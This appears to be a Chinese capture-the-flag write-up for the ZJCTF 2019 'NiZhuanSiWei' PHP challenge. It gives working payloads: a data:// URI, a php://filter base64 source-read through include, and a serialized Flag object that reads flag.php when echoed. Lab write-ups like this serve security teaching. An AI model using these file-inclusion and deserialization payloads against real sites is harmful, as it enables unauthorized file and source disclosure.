[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
零零信安1 小时前
法国某 WordPress 电商平台管理员权限遭拍卖
网络安全·数据泄露
Lust Dusk4 小时前
CTFHUB靶场HTTP协议——响应包源代码
web安全·网络安全
Whoami!5 小时前
⓬⁄₈ ⟦ OSCP ⬖ 研记 ⟧ Linux权限提升 ➱ 利用替代密码实现提权
网络安全·信息安全·/etc/shadow·/etc/passwd
聚铭网络6 小时前
聚铭网络获评国家网络威胁信息汇聚共享技术平台“2025年度三级支撑单位”
网络安全
Codefengfeng7 小时前
webshell流量分析-Practice1
linux·web安全
恶猫8 小时前
随机密码生成器,自动密码生成工具,高强度密码生成器—— 你的账号安全守护神
安全·网络安全·随机密码·密码生成器·帐号安全
安全不再安全8 小时前
某驱动任意读漏洞分析 - 可用于游戏内存数据读取
c语言·测试工具·安全·游戏·网络安全
黄金龙PLUS8 小时前
数据加密标准算法DES
网络安全·密码学·哈希算法·同态加密
啥都想学点8 小时前
pikachu靶场——暴力破解(Kali系统)
网络安全
一名优秀的码农1 天前
vulhub系列-12-Hackademic.RTB1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析